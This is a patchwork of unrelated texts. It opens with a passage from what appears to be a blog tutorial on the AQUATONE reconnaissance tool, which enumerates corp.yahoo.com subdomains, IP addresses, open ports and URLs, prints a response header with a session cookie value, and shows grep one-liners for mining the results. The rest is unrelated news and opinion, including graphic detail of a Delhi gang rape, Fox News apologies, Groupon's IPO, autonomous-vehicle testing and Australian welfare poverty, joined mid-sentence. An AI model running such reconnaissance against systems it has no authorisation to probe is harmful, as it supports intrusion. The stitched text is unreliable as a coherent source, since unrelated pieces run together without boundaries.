224-si1.corp.yahoo.com,207.126.224.4 224-si2.corp.yahoo.com,207.126.224.5 227-si1.corp.yahoo.com,207.126.227.4 227-si2.corp.yahoo.com,207.126.227.7 232-si1.corp.yahoo.com,207.126.232.4 232-si2.corp.yahoo.com,207.126.232.5 351-si1.corp.yahoo.com,216.145.51.4 351-si2.corp.yahoo.com,216.145.51.96 998-dmz-foundry1.corp.yahoo.com,216.145.48.25 998-dmz-foundry2.corp.yahoo.com,216.145.48.39 aa-dc1.wpe.stg.test.corp.yahoo.com,98.137.139.80 aa-dc2.wpe.stg.test.corp.yahoo.com,98.137.139.81 aaa1-1-a-gci.corp.yahoo.com,216.145.50.84 aaa1-2-a-gci.corp.yahoo.com,216.145.50.87 aahost1.stg.test.corp.yahoo.com,98.137.139.82 aahost2.stg.test.corp.yahoo.com,98.137.139.83 aahost3.stg.test.corp.yahoo.com,98.137.139.84 aahost4.stg.test.corp.yahoo.com,98.137.139.85 aape01.stg.test.corp.yahoo.com,98.137.139.93 aavm1.stg.test.corp.yahoo.com,98.137.139.87...
This file can be sliced and diced with common command line tools and loaded into other tools that you might use. hosts.json contains the same information in JSON format and is used by the other AQUATONE tools but can also be useful if you want to use the information with custom scripts.
Phase 2: Scanning
Having discovered a bunch of subdomains on corp.yahoo.com is already quite useful. We could stop here and start poking around with other tools or manual browsing, but lets instead make aquatone-scan do the hard work for us of finding which hosts might serve web content:
aquatone-scan finding open ports on hosts.
aquatone-scan found a bunch of open HTTP ports across the different hosts. By default, it will scan the following TCP ports: 80, 443, 8000, 8080 and 8443 which are all very common ports for web services. You can of course change this to your own list of ports with the --ports option, or specify one of the built-in list aliases:
small : 80, 443
: 80, 443 medium : 80, 443, 8000, 8080, 8443 (same as default)
: 80, 443, 8000, 8080, 8443 (same as default) large : 80, 81, 443, 591, 2082, 2087, 2095, 2096, 3000, 8000, 8001, 8008, 8080, 8083, 8443, 8834, 8888
: 80, 81, 443, 591, 2082, 2087, 2095, 2096, 3000, 8000, 8001, 8008, 8080, 8083, 8443, 8834, 8888 huge : 80, 81, 300, 443, 591, 593, 832, 981, 1010, 1311, 2082, 2087, 2095, 2096, 2480, 3000, 3128, 3333, 4243, 4567, 4711, 4712, 4993, 5000, 5104, 5108, 5800, 6543, 7000, 7396, 7474, 8000, 8001, 8008, 8014, 8042, 8069, 8080, 8081, 8088, 8090, 8091, 8118, 8123, 8172, 8222, 8243, 8280, 8281, 8333, 8443, 8500, 8834, 8880, 8888, 8983, 9000, 9043, 9060, 9080, 9090, 9091, 9200, 9443, 9800, 9981, 12443, 16080, 18091, 18092, 20720, 28017
Using a larger port list will of course let you discover more web services, but it will also increase the time it takes for aquatone-scan to finish.
aquatone-scan created two new files in the assessment directory for corp.yahoo.com : open_ports.txt is a simple comma-separated list of hosts and their open ports:
117.104.189.54,443 124.108.98.253,443 124.108.98.254,443 203.83.249.10,443 203.83.249.4,443 203.83.249.5,443 203.83.249.8,443 203.83.249.9,443 209.131.62.228,443 209.131.62.229,443 209.131.62.230,443 209.131.62.231,443 216.145.48.148,443 216.145.48.149,443 216.145.48.150,443 216.145.48.151,443 216.145.48.152,443 216.145.48.153,443 72.30.2.113,443,80 77.238.184.150,80 98.136.163.125,80,443 98.136.205.152,443,80 98.136.205.216,443
urls.txt contains a list of URLs that can be used to request the web pages on the open ports:
http://bomgar.corp.yahoo.com/ http://bouncer.gh.corp.yahoo.com/ http://buzz.corp.yahoo.com/ http://cloud.corp.yahoo.com/ http://fifa.corp.yahoo.com/ http://gemini.corp.yahoo.com/ http://guest.corp.yahoo.com/ http://insights.corp.yahoo.com/ http://ipv6.corp.yahoo.com/ http://marketingcentral.corp.yahoo.com/ http://messenger.corp.yahoo.com/ http://request.corp.yahoo.com/ http://sas.corp.yahoo.com/ http://services.corp.yahoo.com/ http://shop.corp.yahoo.com/ http://si.corp.yahoo.com/ http://wireless.corp.yahoo.com/ https://bomgar.corp.yahoo.com/ https://bouncer.gh.corp.yahoo.com/ https://fast.corp.yahoo.com/...
These files are used for the next phase of the assessment but are also convenient for loading into other tools like EyeWitness or slicing and dicing with grep, cut, awk, etc.
Phase 3: Gathering
We now know about subdomains and open ports on *.corp.yahoo.com, it's time to use aquatone-gather to collect HTTP responses and screenshots and compile it all into a nice report:
aquatone-gather crunching through the web pages.
aquatone-gather loaded data from the files created by the previous AQUATONE tools and started requesting URLs to collect HTTP responses and screenshots. Behind the scenes, it uses Nightmare for all the heavy lifting of requesting and screenshotting.
Unfortunately Nightmare, and any other browser automation tool, is a bit flaky and will fail on some of the page processings as can be seen in the screenshot. I think the failure rate is acceptable, but something to be aware of.
After a little while, it finishes processing all the web pages:
aquatone-gather finished processing web pages.
It prints a short summary of successful vs. failed page processings and a list of generated report pages, but this is far from the only files that aquatone-gather generated. Navigating to the assessment folder, we can see three new folders: headers, html, report and screenshots.
The headers folder contains text files with response headers from all the page visits:
root@kali:~/aquatone/corp.yahoo.com/headers# cat bomgar_corp_yahoo_com__98_136_205_152__443.txt Cache-Control: no-cache Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Date: Wed, 14 Jun 2017 12:22:01 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Keep-Alive: timeout=15, max=100 Pragma: no-cache Server: Bomgar Set-Cookie: ns_s=c9b9309296cf5babeb7e193125cb2cf0f3c7f13c; path=/; secure; HttpOnly Strict-Transport-Security: max-age=31536000 Transfer-Encoding: chunked X-Ua-Compatible: IE=edge root@kali:~/aquatone/corp.yahoo.com/headers#
These files can be very useful with grep and other tools to quickly find information on server technology and other things that are interesting from a security point of view.
The html folder contains HTML bodies from all the page visits:
root@kali:~/aquatone/corp.yahoo.com/html# cat bomgar_corp_yahoo_com__98_136_205_152__443.html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-us"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Yahoo! Global Service Desk LiveChat</title> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0" /> <link href="/content/common.css" rel="stylesheet" type="text/css" /> <link href="/content/public.css" rel="stylesheet" type="text/css" /> <link href="/content/mobile.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="container"> <div id="header" class="contentBox">... <div style="display: none"> <div style="margin: 1em;"> <a href="http://www.bomgar.com" class="inverse" target="_blank">Secure Remote Desktop Access by Bomgar</a> </div> </div> </div> </body> </html> root@kali:~/aquatone/corp.yahoo.com/html#
There are tons of things that these files can be used for. More on this later.
The screenshots folder contains, as the name might suggest, PNG screenshots of all the page visits:
root@kali:~/aquatone/corp.yahoo.com/screenshots# ls bomgar_corp_yahoo_com__98_136_205_152__443.png bomgar_corp_yahoo_com__98_136_205_152__80.png bouncer_gh_corp_yahoo_com__72_30_2_113__443.png bouncer_gh_corp_yahoo_com__72_30_2_113__80.png buzz_corp_yahoo_com__77_238_184_150__80.png cloud_corp_yahoo_com__77_238_184_150__80.png... si_corp_yahoo_com__77_238_184_150__80.png vpn1-1-gci_eglbp_corp_yahoo_com__203_83_249_4__443.png vpn1-1-ptn_corp_yahoo_com__216_145_48_151__443.png vpn1-1-ptn_eglbp_corp_yahoo_com__203_83_249_10__443.png vpn1-2-gci_sv6_corp_yahoo_com__209_131_62_228__443.png vpn-1-gci_hongkong_corp_yahoo_com__117_104_189_54__443.png vpn2-1-gci_eglbp_corp_yahoo_com__203_83_249_5__443.png vpn2-1-ptn_corp_yahoo_com__216_145_48_152__443.png vpn2-2-gci_sv6_corp_yahoo_com__209_131_62_229__443.png vpn-2-gci_sv6_corp_yahoo_com__209_131_62_230__443.png wireless_corp_yahoo_com__77_238_184_150__80.png root@kali:~/aquatone/corp.yahoo.com/screenshots#
You can of course browse these screenshots directly in the folder, but it's probably more useful to analyse them by opening the generated HTML report page:
Browsing the AQUATONE report (Gif).
The report lines up the screenshots with response headers so that you quickly scan through the collected information for interesting pages. AQUATONE will highlight headers that may increase security with a green background and headers that may present a security issue with a red background. Before you go on a bug bounty spree with this, please remember that god strangles a puppy every time someone reports missing X-Frame-Options. ;)
CLI tricks
The generated report is the final product of AQUATONE, but lots of useful stuff can be done with all the raw files that are generated in the assessment folder, so let's wrap up this blog post with some examples of what you can do:
Get server technology stats
root@kali:~/aquatone/corp.yahoo.com/headers# cat * | grep 'Server:' | sort | uniq -c | sort -nr 13 Server: ATS 6 Server: Bomgar 1 Server: AkamaiGHost root@kali:~/aquatone/corp.yahoo.com/headers#
Find more subdomains
root@kali:~/aquatone/corp.yahoo.com/html# cat * | egrep -o '[a-z0-9\-\_\.]+\.corp\.yahoo\.com' | sort -u bomgar.corp.yahoo.com bouncer.by.corp.yahoo.com fast.corp.yahoo.com it.corp.yahoo.com request.corp.yahoo.com services.corp.yahoo.com root@kali:~/aquatone/corp.yahoo.com/html#
Find HTML comments
root@kali:~/aquatone/corp.yahoo.com/html# cat * | egrep -o '<!--.*-->' <!--//--> <!-- Begin comScore Tag --> <!-- bouncer02.gh.bf1.yahoo.com Wed Jun 14 12:22:09 UTC 2017 --> <!-- bouncer12-os.gh.bf2.yahoo.com Wed Jun 14 12:22:29 UTC 2017 --> <!-- #doc4 --> <!--.dw1 --> <!--.dw4 -->... <!-- /.shmod --> <!-- SpaceID=0 timeout (ads1) --> <!-- src2.ops.ir2.yahoo.com Wed Jun 14 12:22:15 UTC 2017 --> <!-- src4.ops.ir2.yahoo.com Wed Jun 14 12:21:44 UTC 2017 --> <!-- src4.ops.ir2.yahoo.com Wed Jun 14 12:21:51 UTC 2017 --> <!-- src4.ops.ir2.yahoo.com Wed Jun 14 12:22:27 UTC 2017 --> <!-- src6.ops.ir2.yahoo.com Wed Jun 14 12:21:57 UTC 2017 --> <!-- src6.ops.ir2.yahoo.com Wed Jun 14 12:22:15 UTC 2017 --> <!-- src6.ops.ir2.yahoo.com Wed Jun 14 12:22:36 UTC 2017 --> <!-- URL: /::ProfilerTotal:557:1497442917838::Page Creation:40:1497442917838::user_ups:0:1497442917844::ydht_time:1:1497442917845::Maple Execution:518:1497442917878::Maple WS:41:1497442917879::SHAdModule:457:1497442917921::SHLeftNavigationModule:7:1497442918378::SHHeroModule:0:1497442918385::SHBrowseShoppingModule:5:1497442918385::SHSocialNewBrowseModule:0:1497442918390::SHCopyrightModule:1:149744291839
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Brian Buccellato’s excellent character writing. Artist Scott Hepburn highlights all the action and energy on the page while showcasing the brutality of the Crime Syndicate’s Johnny Quick and Atomica. Buccellato and Hepburn have put the Rogues through the ringer in this Forever Evil tie-in and this issue is one of the best of the miniseries, so far.NEW DELHI: Ram Singh, 33, the prime accused in Sunday’s gang rape, is a volatile man, known among friends as “Mental,” a police source said on Tuesday. During investigation, he is learnt to have told police how he lost control and ended up brutalizing the woman and assaulting her friend.
“When she resisted and bit his hand, he says, he got very angry. Alcohol and the victims’ defiance, made him go berserk. He picked up a rod and hit the two everywhere. His accomplices followed suit,” a source said.
Ram Singh reportedly started picking up fights at the slightest pretext after the death of his wife two years ago. There’s an accident case registered against him and he has admitted to being involved in several other brawls. He had also run away with a girl in his neighbourhood, sources said.
A police officer said the investigating team led by Inspector Anil Sharma had found Ram Singh a cold and remorseless man. “Initially, he denied everything. But when he began to open up, he chose to divulge each detail, with no repentance. Such brutality does not affect him. He tried to destroy evidence by washing the bus with confidence and told his accomplices to not worry, and lie low for some time. He stayed calm when he went and parked the bus in RK Puram, and then took it back to the owner in Noida. The confidence he shows is not of a novice definitely,” the officer said.
It seems that even as the gang was brutalizing the woman by turns, Ram Singh had made a plan to cover their tracks. Sources say Ram Singh decided to strip the victims completely before throwing them out of the bus to leave no trace of incriminating semen or blood. He also kept their mobiles and switched them off. Three mobiles — one belonging to the woman and two to her friend — have now been recovered along with some of their clothes.
Although police were able to arrest him with his employer’s help, Ram Singh showed his shrewd side again by refusing to undergo the test identification parade on Tuesday.
Police say Ram Singh dropped his accomplices near RK Puram after 10.30pm on Sunday and brought the bus back to Sector 3 in RK Puram. Although his brother Mukesh was initially driving the bus, Ram Singh asked the cleaner, Akshay, to drive it to the garage.In the morning, all the accused returned to work on his direction. Akshay and Ram Singh plied the bus on its route. Around 9am, when they realized their crime was all over the news, they took the bus to Rohilla Khurd near Sector 62, Noida and washed it thoroughly to remove bloodstains.But Ram Singh’s plan went awry when the bus owner, Dinesh Yadav, called him to drive it back. “Police had asked Yadav to ensure Ram Singh came back with the bus. He was tricked into coming to RK Puram, where we arrested him,’’ said an investigating officer.According to police, the accused used to drive continuously through the day. He would pick up schoolchildren at 8am and drop them before picking office goers from the Malai Mandir area. He brought back students from the south Delhi school at 1pm.Sources also pointed out that had the school noticed and reported that the bus they had hired had tinted glasses and was driven by an illiterate person involved in an accident, Ram Singh could have been taken off the roads earlier.What a week for Fox News! The “fair and balanced” network was transformed into the “I’m totally sorry” network after we were treated to four—yes, four—on-air apologies from different Fox personalities.
First, we had “The Five’s” Greg Gutfeld and Eric Bolling mock a female air force pilot with some really sexist jokes. Now, they probably thought no one would care because she’s Arab. But luckily it seems that the outrage against sexism applies to women of all ethnicities and races.
Bolling and Gutfeld’s comments came during a discussion of the United Arab Emirate’s Major Mariam Al Mansouri, who flew missions as part of the United States-led coalition bombing ISIS. Al Mansouri might be heralded in the UAE for being the nation’s first female fighter, but to the comedy duo of Bolling and Gutfeld, she’s just a punch line.
Gutfeld quipped: “After she bombed it, she couldn’t park it." (Referring to her plane.) And then Bolling, whom I often find funny although he’s trying to be serious, tried to top Gutfeld with the crack: “Would that be considered boobs on the ground or no?”
The backlash was swift. Even some of these two frat boys’ colleagues were upset. And then it built as Americans who had served in the military voiced their objections.
The result was Gutfeld and Bolling offered what appear to be sincere apologies. In fact, Bolling offered two different ones on air, so he singlehandily represents 50 percent of the Fox News apologies for the week.
And then we have a comment that comes under the category of not trying to be funny but trying to see how much red meat you can offer viewers. Last Saturday, Fox News regular guest Jonathan Hoenig commented in essence that the internment of Japanese Americans during World War II was a good thing for America with his boastful statement: “The last war this country won, we put Japanese Americans in internment camps.”
Why would that even come up, you ask? Because the four panelists—anchored by King of Comedy Eric Bolling—were talking about how law enforcement must absolutely, positively profile Muslim Americans. During their discussion regaling the joys of profiling a minority group, Bolling offered a comment that truly showcased his talent for nuance: “We know how to find the terrorists among us: profile, profile, profile."
Hoenig, apparently wanting to continue being booked on Fox News, felt the need to up the anti-Muslim ante. Picking up where Bolling left off, Hoenig remarked, "but aren't all Muslims suspect…given the history of Islamic threats towards this country?" That’s when Hoenig touted the upside of interning Japanese Americans, with his point apparently being it’s a possible model to follow today with Muslim Americans.
Cue another backlash. This time it was led by civil rights groups and even members of Congress like Rep. Mike Honda of California, who as a child had been held in an internment camp. Over the weekend Hoenig went on Fox News and offered an apology for his remark that interning Japanese Americans was something we should be proud of.
Look, we all make mistakes—not only in real life but also on TV. In fact, I have made jokes/comments on television and on Twitter that have landed me in hot water. Consequently, I have apologized on more than one occasion for my own idiotic remarks.
But Fox always manages to push the boundaries and make things just a little surreal. So it was that in the same week these Fox “journalists” were dishing out a bevy of apologies, several different Fox shows slammed President Obama for what they dubbed his “apology tour” after his speech Wednesday at the United Nations.
Even apologist Greg Gutfeld slammed this so-called apology tour. You see, the Fox News peeps were upset that Obama would go before the United Nations and mention the protests that had taken place in Ferguson, Missouri. Apparently the geniuses at Fox believe that the world leaders have no idea that we have racial problems in the United States.
But pointing out hypocrisy at Fox News is like pointing out gaffes by Sarah Palin. Too easy. Of course, Fox News could have just stuck to its guns and not apologized. Bolling could have simply gone on air and exclaimed, “Hey, we are Fox Fucking News, we don’t apologize for shit!” Ratings would have shot to the heavens.
However, what I find more interesting than the Fox News apologies is the recent comments made by Fox News personalities that they would not apologize for.
First, there was the now well-known and awful remark a few weeks ago by Fox & Friends co-host Brian Kilmeade after viewing the video of Ray Rice in the elevator punching his then-fiancée Janay Palmer in the face. Kilmeade responded to the horrific image with the joke: “I think the message is, take the stairs.”
While Kilmeade walked back the comment the next day after an uproar, he did not apologize. Instead, he said, “Some people feel like we were taking this situation too lightly. We are not.” No, you did—you told a joke about it. That’s the very definition of taking something lightly!
And the second remark came during the Japanese internment conversation. While Hoenig apologized for seeing the upside to internment, no one thought it was important to apologize for advocating that we should tear up the U.S. Constitution and treat American Muslims differently simply because of our faith.
Not that I expected a Fox News anchor to apologize for that comment—after all, this is the same network that not only trashes Muslims almost daily, it gives the nation’s biggest anti-Muslim bigots a platform to spew hate.
So what have we learned? Fox News is a special, almost magical place. It’s a world where jokes about sexism are apologized for but ones about domestic violence are not. It's a place where minorities are degraded and maligned for fun. And it’s the highest-rated cable news channel in the nation.New way to test self-driving cars could cut 99.9% of validation costs
ANN ARBOR — Mobility researchers at the University of Michigan have devised a new way to test autonomous vehicles that bypasses the billions of miles they would need to log for consumers to consider them road-ready.
The process, which was developed using data from more than 25 million miles of real-world driving, can cut the time required to evaluate robotic vehicles’ handling of potentially dangerous situations by 300 to 100,000 times. And it could save 99.9 percent of testing time and costs, the researchers say.
They outline the approach in a new white paper published by Mcity, a U-M-led public-private partnership to accelerate advanced mobility vehicles and technologies.
“Even the most advanced and largest-scale efforts to test automated vehicles today fall woefully short of what is needed to thoroughly test these robotic cars,” said Huei Peng, director of Mcity and the Roger L. McCarthy Professor of Mechanical Engineering at U-M.
In essence, the new accelerated evaluation process breaks down difficult real-world driving situations into components that can be tested or simulated repeatedly, exposing automated vehicles to a condensed set of the most challenging driving situations. In this way, just 1,000 miles of testing can yield the equivalent of 300,000 to 100 million miles of real-world driving.
While 100 million miles may sound like overkill, it’s not nearly enough for researchers to get enough data to certify the safety of a driverless vehicle. That’s because the difficult scenarios they need to zero in on are rare. A crash that results in a fatality occurs only once in every 100 million miles of driving.
Yet for consumers to accept driverless vehicles, the researchers say tests will need to prove with 80 percent confidence that they’re 90 percent safer than human drivers. To get to that confidence level, test vehicles would need to be driven in simulated or real-world settings for 11 billion miles. But it would take nearly a decade of round-the-clock testing to reach just 2 million miles in typical urban conditions.
Beyond that, fully automated, driverless vehicles will require a very different type of validation than the dummies on crash sleds used for today’s cars. Even the questions researchers have to ask are more complicated. Instead of, “What happens in a crash?” they’ll need to measure how well they can prevent one from happening.
“Test methods for traditionally driven cars are something like having a doctor take a patient’s blood pressure or heart rate, while testing for automated vehicles is more like giving someone an IQ test,” said Ding Zhao, assistant research scientist in the U-M Department of Mechanical Engineering and co-author of the new white paper, along with Peng.
To develop their accelerated approach, the U-M researchers analyzed data from 25.2 million miles of real-world driving collected by two U-M Transportation Research Institute projects—Safety Pilot Model Deployment and Integrated Vehicle-Based Safety Systems. Together they involved nearly 3,000 vehicles and volunteers over the course of two years.
From that data, the researchers:
Identified events that could contain “meaningful interactions” between an automated vehicle and one driven by a human, and created a simulation that replaced all the uneventful miles with these meaningful interactions.
Programmed their simulation to consider human drivers the major threat to automated vehicles and placed human drivers randomly throughout.
Conducted mathematical tests to assess the risk and probability of certain outcomes, including crashes, injuries, and near-misses.
Interpreted the accelerated test results, using a technique called “importance sampling” to learn how the automated vehicle would perform, statistically, in everyday driving situations.
The accelerated evaluation process can be performed for different potentially dangerous maneuvers. Researchers evaluated the two most common situations they’d expect to result in serious crashes: an automated car following a human driver and a human driver merging in front of an automated car. The accuracy of the evaluation was determined by conducting and comparing accelerated and real-world simulations. More research is needed involving additional driving situations.
The paper is titled “From the Lab to the Street: Solving the Challenge of Accelerating Automated Vehicle Testing.”
Read the white paper
Mcity
U-M Transportation Research InstituteAndrew Mason Wikimedia Commons Groupon's messy road to an IPO is getting a fresh look today in the New York Times, as its star business columnist Andrew Ross Sorkin used it as a spring board to slam its banking backers.
Sorkin details all the red flags in the IPO: The fact that the company's founders have cashed out. The fact that it used sketchy accounting. The fact that growth is slowing. And so on.
After laying out the problems with Groupon, he arrives at his main point: "How did so many Wall Street firms desperate to underwrite the Groupon I.P.O. miss these warning signs when pitching such a sky-high valuation? Or did they just turn a blind eye?"
Sorkin's biggest gripe is that Goldman Sachs, and its other investment bankers, were talking about a $30 billion valuation for Groupon initially. That valuation has since fallen down to $10 billion.
The weird thing about Sorkin's column is that Groupon hasn't IPO'd yet. Its bankers haven't sold any shares to anyone at a $30 billion valuation.
What exactly does Sorkin think Goldman was going to do? Walk into Groupon's offices and say, "Your business is a real dog, and it's worth 1/3 what the other banks are saying."
They'd be laughed out of Chicago.
At some point Goldman might have to have some awkward conversations with Groupon CEO Andrew Mason about lowering the valuation.
Yes, some of the stuff that flew through the IPO filing was sketchy. And yes, some of the things Mason did during the quiet period are sketchy.
But, there's only so much Groupon's backers can control.
When Groupon hits the public markets, we'll see what happens. If the bankers are still pushing Groupon out the door at an obnoxious valuation, then he'll have a better reason for a beef with Goldman over this one.COREY STORY
Coughlin indicated that CB Corey Webster, who has missed the last three games with a hamstring injury, would sit out again Thursday. Webster did not practice on Tuesday.... DT Linval Joseph, who sat out last week with what he said was a high ankle sprain, practiced a second straight day and said he will play with no limitations on Thursday.... LS Zak DeOssie (back), DE Damontre Moore (hamstring), CB Jayron Hosley (hamstring), C David Baas (neck), TE Adrien Robinson (foot) and S Cooper Taylor (shoulder) all did not practice.... WR Louis Murphy (ankle) and TE Brandon Myers (ankle) were limited.... To make room for Scott, the Giants waived DE Justin Trattou. They also signed CB Junior Mertile and LB Darin Drakeford to the practice squad.A chill went through the Australian blogosphere Friday as the government released a report recommending that blogs with an annual readership of 15,000 or more be subject to the same regulatory body and rules as mainstream newspapers and other professional media. That’s 40 pageviews a day, for those of you who are counting. Welcome to the big time.
The Independent Media Inquiry stated:
"There are many newsletter publishers and bloggers, although no longer part of the ‘lonely pamphleteer’ tradition, who offer up-to-date reflections on current affairs. Quite a number have a very small audience. There are practical reasons for excluding from the definition of ‘news media’ publishers who do not have a sufficiently large audience. If a publisher distributes more than 3000 copies of print per issue or a news internet site has a minimum of 15 000 hits per annum it should be subject to the jurisdiction of the News Media Council, but not otherwise. These numbers are arbitrary, but a line must be drawn somewhere."
Australia has an unusual media landscape. Approximately 70% of Australian newspapers are owned by Rupert Murdoch’s News Ltd, which has been embroiled in a widespread phone-hacking scandal, among other issues. Currently, newspapers are policed by the Australian Press Council, an association funded by newspapers, in which participation is voluntary. The new recommendations suggest making membership in a new agency mandatory for all significant media outlets, including blogs of moderate to major popularity, and handing the job of funding over to the government.
Predictably, newspapers raised concerns about government influence, while the government asserted that the existing agency hasn’t been doing an adequate job. It was not immediately clear how the proposed agency could enforce its rulings, other than by taking to the courts.
The report stated, “The News Media Council should have power to require a news media outlet to publish an apology, correction or retraction, or afford a person a right to reply. This is in line with the ideals contained in existing ethical codes but in practice often difficult to obtain.”
Especially if you have to monitor a few thousand blogs every day.
Image courtesy of iStockphoto, miflippo
This article originally published at The Daily Dot hereTo understand why Russia has invaded the Ukrainian region of Crimea now, one should recall why it didn’t do so 20 years ago.
In 1991—the year the USSR collapsed—an attempt by Serbian-majority regions to secede from the newly independent Croatia led to one of the worst bloodsheds in Europe’s recent history. It was definitely on the minds of Russian, Ukrainian and Belarusian leaders when they convened in December 1991 and decided to dissolve the USSR peacefully, respecting the existing administrative borders between former Soviet republics. They prevented a war that would have made conflicts in the Balkans look like pub brawl—just imagine if ex-Yugoslav armies had gotten a hold of world’s biggest arsenal of conventional, chemical, and nuclear weapons.
It was a very difficult decision for Russia, particularly because it left millions of ethnic Russians outside Russia proper, fending for themselves in a new and extremely unsafe world. Ukraine, hammered into its present shape by Lenin, Stalin and Khrushchev (who enlarged it by adding vast swathes of Russia proper and Poland), was a particular cause of concern. But Yeltsin clearly didn’t want to be seen as a nuclear Milosevic—and we should be grateful for that. That’s how Crimea, with its ethnic Russian majority, ended up in Ukraine without being given any real chance for self-determination.
It’s not only a sense of responsibility that prompted Yeltsin to make this decision. The idea of giving independence to various parts of the Soviet empire was indeed popular in Russia at the time. In January 1991, an 800,000-strong rally in Moscow—possibly the biggest in Russian history—demanded the right for Baltic countries to be independent. Russians weren’t averse to Ukrainian independence, either. It was the year of big hopes and immense enthusiasm that contrasts so sharply with extreme cynicism, apathy, and suicidal fatalism that’s engulfing Russia now.While all Australian welfare allowances are meagre, it is alarming that "Newstart" is so drastically below the poverty line.
It has not been raised in real terms since 1994.
Australia ranks second-worst in the developed world for poverty rates among the unemployed and 52% of Newstart recipients live in poverty.
Newstart recipients have fallen dramatically behind the rest of the community. At $267 per week ($13,800 per year), the allowance is now over $160 per week ($8,000 per year) below the poverty line, less than 18% of the average wage and less than 41% of the minimum wage.
We know, from studies and from job-seekers themselves, that living off Newstart can affect physical and mental well-being in many ways:
access to fresh fruit and vegetables, to regular, nutritious meals;
capacity to afford dental care and some medications;
ability to heat/cool homes;
intense stress about expenses, bills and rent, which affects cognitive, emotional and physical functioning;
societal stigma and other negative attitudes towards Newstart recipients; and
isolation and loneliness from being unable to fully participate in community life and social support networks.
Even in a rich country, being poor has consequences. Whether it is the emotional harm of being disconnected from friends and family, and excluded from community life because one cannot afford to drive or catch public transport, or having to skip meals, or not always being able to afford the most nutritious food, or the fatigue and ill-health that comes from constant stress about one's limited finances.
"A coalition of community and health organisations, lead by Anti-Poverty Network SA, released an open letter to... https://t.co/GI2OhaVynf — Kat (@writtenword09) June 6, 2017
Joel, who is on Newstart, captures many of the ways that living in poverty affects your physical and mental wellbeing:
I often have to skip breakfast and lunch every day in order to save money. I do not feel I eat enough fresh fruit and vegetables; I look for specials and Black and Gold products. Nutrition never enters into what I buy, how cheap it is the only thing I'm capable of buying. If my income was higher, I would be able to buy fresh fruit, vegetables, things other than frozen products; I would buy more food in general if I could afford it. I think every day about my finances. I'm living from hand to mouth without any chance to save or prepare for the future. Very rarely am I able to see my family and friends... my family lives in a different state and I haven’t seen them in about two years due to being unable to afford the travel expenses, with no chance of being able to join in on family occasions or holidays. Leaving the house is hard, even bus transport affects my budget, so leaving my house as little as possible is necessary. Any kind of community activity, festivals or events, getting there, buying anything whilst there, is beyond my income, and means any bus ticket or drink or food I buy there effects my income and ability to pay for rent, groceries and bills. I feel as if relationships are impossible until I’m able to support myself.
An Australian Council of Social Service (ACOSS) survey of 600 Newstart recipients in 2015 reported:
40% are unable to pay their bills on time or see a dentist;
50% are unable to raise $2,000 in the event of an emergency;
50% are turning off heating and cooling to save money;
32% skipped meals in the previous year;
25% are suffering from "housing crisis" — spending more than half their income on rent; and
20% do not have enough money for essentials like housing, food and electricity.
Making matters worse, there are not enough jobs to go around – 17 job-seekers for every job, including the unemployed and the "hidden unemployed" – meaning unemployment is no longer a short burst of pain but a long period of deprivation. 70% of Newstart recipients are unemployed for more than 12 months.
The mix of recipients on Newstart is also changing. Growing numbers of sole parents now find themselves on Newstart, thanks to "reforms" by the Howard and Gillard governments. This means that sole parents now shift from the higher, but by no means generous, parenting payment single allowance to the measly Newstart allowance, when their youngest child turns eight — instead of 12, as was previously the case.
If the measure passes, people severely impaired by alcohol or drug dependence will be placed on Newstart and required to look for work 3/ — St Vincent's Health (@StVHealthAust) June 21, 2017
Natalie, a sole parent on Newstart, captures how hard it is to make ends meet on a payment that is not even adequate for those without kids:
My son has ADHD, anxiety and autism, and requires three different medications to function at an acceptable standard to attend a mainstream school. He also attends a Catholic school, which is prepared to accommodate his learning needs because the public system in our area simply doesn't have the support systems in place to meet his learning needs. Just school fees are $150 a fortnight. So we have six regular prescriptions a month, at a cost of $40. By the time I pay for school fees, rent, electricity, phone and internet bills, I am left with $250 a fortnight to cover everything. To stay well with both diabetes and my son's ADHD/anxiety/autism we rely on a diet of fresh fruit and vegetables, meat, bread and dairy foods — basically we live on a diet of largely unprocessed, sugar free, artificial colouring and preservative free, gluten and lactose-free products, wherever possible. All the expensive foods. $250 doesn't really cover the fortnight's groceries. It means we eat a lot of apples and potatoes, mince, sausages and rice. We've done the '100 ways with mince' recipe book. It also means that I often end up unwell — either I eat cheaper processed foods and it affects my blood sugar levels, or I skip meals and my blood sugar is affected. And either way I end up spending more time in the doctor's office and a burden on the health system. I can't win.
25% of Newstart recipients have a diagnosed disability. This is because of significant attacks over the past several years on the ability to access the Disability Support Pension (DSP). Those pushed off the payment, or unable to receive it at all, are locked out of a hostile, unfavourable labour market and become perennially unemployed or underemployed.
In the past year, more than 31,000 people have been removed from the DSP. This is the largest annual drop in history. Since June 2014, the number of DSP recipients has dropped from 830,000 to 788,000 — a 5% fall.
Currently, around 15% of applications for DSP are approved. This represents a significant decline in successful applications. In June 2014, 39% of applications were successful. In July 2011, 54%.
All this only strengthens the case for an immediate, long overdue raise of at least $100 per week for Newstart recipients. Longer-term, Newstart, indeed all welfare payments, must be set above the poverty-line.
After all, even business groups like the Business Council of Australia and KPMG have called for a raise to Newstart, albeit a very inadequate one of around $50 per week. This is the position of most of the community sector — a good start, but nowhere near enough.
On 5 June 2017, Anti-Poverty Network SA launched an open letter to the Federal Government, highlighting some of the health impacts of our impoverishing, punishing welfare system and calling for drastic changes.
It was endorsed by many state and national organisations, including the Australian Public Health Association, the Australian Health Promotion Association, the Australian Unemployed Workers' Union, the National Council of Single Mothers and their Children and Uniting Communities.
It was also signed by over 100 individuals, including prominent advocates Professor Eva Cox and Dr John Falzon.
To sign the open letter, e-mail [email protected].
Pas Forgione is the coordinator of Anti-Poverty Network SA. You can follow Pas on Twitter at @PasForg.
This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Australia License
Elderly, disabled, jobless or homeless? It’s your fault, according to the Coalitionhttps://t.co/HuXEMydg5K — Bruce Ross (@brucerossbrc) June 11, 2017
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Support equality. Subscribe to IA for just $5.“I have a job,” Newt Gingrich told me this week, when I asked him if there was a job he might accept in the new administration. “I have a full-time job reconceptualizing the way Republican government will occur.”
